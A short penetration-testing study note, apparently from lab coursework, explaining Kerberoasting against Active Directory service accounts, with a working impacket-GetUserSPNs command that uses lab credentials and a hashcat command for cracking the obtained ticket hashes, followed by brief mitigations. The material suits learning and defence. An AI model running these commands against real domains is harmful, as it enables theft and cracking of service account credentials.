# Kerberoasting

## Overview

This attack takes advantage of service accounts that use **Kerberos** authentication. 

First we request a **TGT** (Ticket Granting Ticket) from the **KDC** using the account we compromised. Next we request a **TGS** (Ticket Granting Service ticket) as well. The key flaw is that the TGS is encrypted with the **Services account** password hash.

Using the tool **GetUserSPNs** to request a TGS and obtain the **Service accounts** password hash.

## GetUserSPNs

```bash
sudo impacket-GetUserSPNs PNPT.local/greg:Password1 -dc-ip 192.168.1.129 -request
```

```bash
hashcat -m 13100 crackme.txt ~/rockyou.txt -O
```

## Mitigation

* Strong password policy
* Principle of least privilege
* Service accounts should **NOT** be Domain Administrators


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